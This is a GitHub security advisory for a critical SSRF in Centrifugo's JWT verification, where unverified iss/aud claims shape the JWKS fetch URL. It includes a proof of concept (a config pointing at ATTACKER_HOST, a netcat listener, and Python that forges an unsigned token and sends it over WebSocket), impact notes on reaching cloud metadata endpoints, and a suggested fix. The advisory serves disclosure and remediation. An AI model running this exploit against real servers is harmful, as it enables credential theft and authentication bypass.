GHSA-J77H-RR39-C552
Vulnerability from github – Published: 2026-03-13 20:03 – Updated: 2026-03-16 17:07Summary
Centrifugo is vulnerable to Server-Side Request Forgery (SSRF) when configured with a dynamic JWKS endpoint URL using template variables (e.g. {{tenant}}). An unauthenticated attacker can craft a JWT with a malicious iss or aud claim value that gets interpolated into the JWKS fetch URL before the token signature is verified, causing Centrifugo to make an outbound HTTP request to an attacker-controlled destination.
Details
In internal/jwtverify/token_verifier_jwt.go, the functions VerifyConnectToken and VerifySubscribeToken follow this flawed order of operations:
1. Token is parsed without verification: jwt.ParseNoVerify([]byte(t))
2. Claims are decoded from the unverified token
3. validateClaims() runs — extracting named regex capture groups from
issuer_regex/audience_regex into tokenVars map using attacker-controlled
iss/aud claim values
4. verifySignatureByJWK(token, tokenVars) is called — passing attacker-controlled
tokenVars to the JWKS manager
5. In internal/jwks/manager.go, fetchKey() interpolates tokenVars directly
into the JWKS URL:
jwkURL := m.url.ExecuteString(tokenVars)
6. Centrifugo makes an HTTP GET request to the attacker-controlled URL
Suppressed the security linter on this line with an incorrect comment:
//nolint:gosec // URL is from server configuration, not user input.
The URL is NOT purely from server configuration — it is partially constructed from unverified user-supplied JWT claims.
Signature verification happens too late — after the SSRF has already fired.
PoC
Required config (config.json):
{
"client": {
"token": {
"jwks_public_endpoint": "http://ATTACKER_HOST:8888/{{tenant}}/.well-known/jwks.json",
"issuer_regex": "^(?P[a-zA-Z0-9_-]+)\\.auth\\.example\\.com$"
}
},
"http_api": { "key": "test-api-key" }
}
Step 1 — Start listener on attacker machine:
nc -lvnp 8888
Step 2 — Generate malicious unsigned JWT:
import base64, json
def b64url(data):
return base64.urlsafe_b64encode(data).rstrip(b'=').decode()
header = b'{"alg":"RS256","kid":"test-kid","typ":"JWT"}'
payload = b'{"sub":"attacker","iss":"evil-tenant.auth.example.com","exp":9999999999}'
token = f"{b64url(header)}.{b64url(payload)}.fakesig"
print(token)
Step 3 — Connect to Centrifugo WebSocket with the malicious token:
import websocket, json
ws = websocket.create_connection("ws://TARGET:8000/connection/websocket")
ws.send(json.dumps({"id": 1, "connect": {"token": ""}}))
print(ws.recv())
Step 4 — Observe incoming HTTP request on attacker listener:
GET /evil-tenant/.well-known/jwks.json HTTP/1.1
Host: ATTACKER_HOST:8888
User-Agent: Go-http-client/1.1
Malicious token being crafted with suppress_origin=True bypassing the 403, and the token sent to Centrifugo:
Centrifugo Server Log:
netcat terminal:
Impact
- Unauthenticated SSRF — No valid credentials required
- Attacker can probe and access internal network services not exposed externally
- On cloud deployments: access to metadata endpoints (AWS:
169.254.169.254, GCP:metadata.google.internal) to steal IAM credentials - Attacker can serve a malicious JWKS response containing their own public key, causing Centrifugo to accept attacker-signed tokens as legitimate — leading to full authentication bypass
- Exploitation requires
jwks_public_endpointto contain{{...}}template variables combined withissuer_regexoraudience_regex— a configuration pattern explicitly documented and promoted by Centrifugo
Suggested Fix
1. Verify signature BEFORE extracting tokenVars (critical fix):
In token_verifier_jwt.go, swap the order of operations:
// CURRENT (vulnerable) order:
// 1. ParseNoVerify
// 2. validateClaims() → populates tokenVars from unverified claims
// 3. verifySignature(token, tokenVars) ← too late
// FIXED order:
// 1. ParseNoVerify
// 2. verifySignature(token) ← verify first with empty/nil tokenVars
// 3. validateClaims() → only now extract tokenVars from verified claims
// 4. If JWKS needed, re-verify with tokenVars using verified kid only
2. Fix the incorrect nolint comment in manager.go:
Remove //nolint:gosec // URL is from server configuration, not user input The URL IS partially constructed from user input via JWT claims.
3. Alternative mitigation:
Restrict template variables to only the kid header field (which is not claim data) rather than allowing arbitrary claim values to influence the JWKS URL.
```
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 6.6.2"
},
"package": {
"ecosystem": "Go",
"name": "github.com/centrifugal/centrifugo/v6"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.7.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-32301"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-13T20:03:22Z",
"nvd_published_at": "2026-03-13T19:54:41Z",
"severity": "CRITICAL"
},
"details": "### Summary\nCentrifugo is vulnerable to Server-Side Request Forgery (SSRF) when configured with a dynamic JWKS endpoint URL using template variables (e.g. `{{tenant}}`). An unauthenticated attacker can craft a JWT with a malicious `iss` or `aud` claim value that gets interpolated into the JWKS fetch URL **before the token signature is verified**, causing Centrifugo to make an outbound HTTP request to an attacker-controlled destination.\n\n### Details\nIn `internal/jwtverify/token_verifier_jwt.go`, the functions `VerifyConnectToken` and `VerifySubscribeToken` follow this flawed order of operations:\n1. Token is parsed without verification: `jwt.ParseNoVerify([]byte(t))`\n2. Claims are decoded from the unverified token\n3. `validateClaims()` runs \u2014 extracting named regex capture groups from \n `issuer_regex`/`audience_regex` into `tokenVars` map using attacker-controlled \n `iss`/`aud` claim values\n4. `verifySignatureByJWK(token, tokenVars)` is called \u2014 passing attacker-controlled \n `tokenVars` to the JWKS manager\n5. In `internal/jwks/manager.go`, `fetchKey()` interpolates `tokenVars` directly \n into the JWKS URL:\n `jwkURL := m.url.ExecuteString(tokenVars)`\n6. Centrifugo makes an HTTP GET request to the attacker-controlled URL\n\nSuppressed the security linter on this line with an incorrect comment:\n`//nolint:gosec // URL is from server configuration, not user input.`\nThe URL is NOT purely from server configuration \u2014 it is partially constructed from unverified user-supplied JWT claims.\n\nSignature verification happens too late \u2014 after the SSRF has already fired.\n\n### PoC\n**Required config** (`config.json`):\n```json\n{\n \"client\": {\n \"token\": {\n \"jwks_public_endpoint\": \"http://ATTACKER_HOST:8888/{{tenant}}/.well-known/jwks.json\",\n \"issuer_regex\": \"^(?P[a-zA-Z0-9_-]+)\\\\.auth\\\\.example\\\\.com$\"\n }\n },\n \"http_api\": { \"key\": \"test-api-key\" }\n}\n```\n\n**Step 1** \u2014 Start listener on attacker machine:\n```\nnc -lvnp 8888\n```\n\n**Step 2** \u2014 Generate malicious unsigned JWT:\n```python\nimport base64, json\n\ndef b64url(data):\n return base64.urlsafe_b64encode(data).rstrip(b\u0027=\u0027).decode()\n\nheader = b\u0027{\"alg\":\"RS256\",\"kid\":\"test-kid\",\"typ\":\"JWT\"}\u0027\npayload = b\u0027{\"sub\":\"attacker\",\"iss\":\"evil-tenant.auth.example.com\",\"exp\":9999999999}\u0027\ntoken = f\"{b64url(header)}.{b64url(payload)}.fakesig\"\nprint(token)\n```\n\n**Step 3** \u2014 Connect to Centrifugo WebSocket with the malicious token:\n```python\nimport websocket, json\nws = websocket.create_connection(\"ws://TARGET:8000/connection/websocket\")\nws.send(json.dumps({\"id\": 1, \"connect\": {\"token\": \"\"}}))\nprint(ws.recv())\n```\n\n**Step 4** \u2014 Observe incoming HTTP request on attacker listener:\n```\nGET /evil-tenant/.well-known/jwks.json HTTP/1.1\nHost: ATTACKER_HOST:8888\nUser-Agent: Go-http-client/1.1\n```\n\nMalicious token being crafted with suppress_origin=True bypassing the 403, and the token sent to Centrifugo:\n\n\nCentrifugo Server Log:\n\n\nnetcat terminal:\n\n\n### Impact\n- **Unauthenticated SSRF** \u2014 No valid credentials required\n- Attacker can probe and access internal network services not exposed externally\n- On cloud deployments: access to metadata endpoints (AWS: `169.254.169.254`, GCP: `metadata.google.internal`) to steal IAM credentials\n- Attacker can serve a malicious JWKS response containing their own public key, causing Centrifugo to accept attacker-signed tokens as legitimate \u2014 leading to **full authentication bypass**\n- Exploitation requires `jwks_public_endpoint` to contain `{{...}}` template variables combined with `issuer_regex` or `audience_regex` \u2014 a configuration pattern explicitly documented and promoted by Centrifugo\n \n### Suggested Fix\n\n**1. Verify signature BEFORE extracting tokenVars (critical fix):**\nIn `token_verifier_jwt.go`, swap the order of operations:\n```go\n// CURRENT (vulnerable) order:\n// 1. ParseNoVerify\n// 2. validateClaims() \u2192 populates tokenVars from unverified claims\n// 3. verifySignature(token, tokenVars) \u2190 too late\n\n// FIXED order:\n// 1. ParseNoVerify\n// 2. verifySignature(token) \u2190 verify first with empty/nil tokenVars\n// 3. validateClaims() \u2192 only now extract tokenVars from verified claims\n// 4. If JWKS needed, re-verify with tokenVars using verified kid only\n```\n\n**2. Fix the incorrect nolint comment in `manager.go`:**\nRemove `//nolint:gosec // URL is from server configuration, not user input` The URL IS partially constructed from user input via JWT claims.\n\n**3. Alternative mitigation:**\nRestrict template variables to only the `kid` header field (which is not claim data) rather than allowing arbitrary claim values to influence the JWKS URL.\n```",
"id": "GHSA-j77h-rr39-c552",
"modified": "2026-03-16T17:07:17Z",
"published": "2026-03-13T20:03:22Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/centrifugal/centrifugo/security/advisories/GHSA-j77h-rr39-c552"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32301"
},
{
"type": "PACKAGE",
"url": "https://github.com/centrifugal/centrifugo"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Centrifugo: SSRF via unverified JWT claims interpolated into dynamic JWKS endpoint URL"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.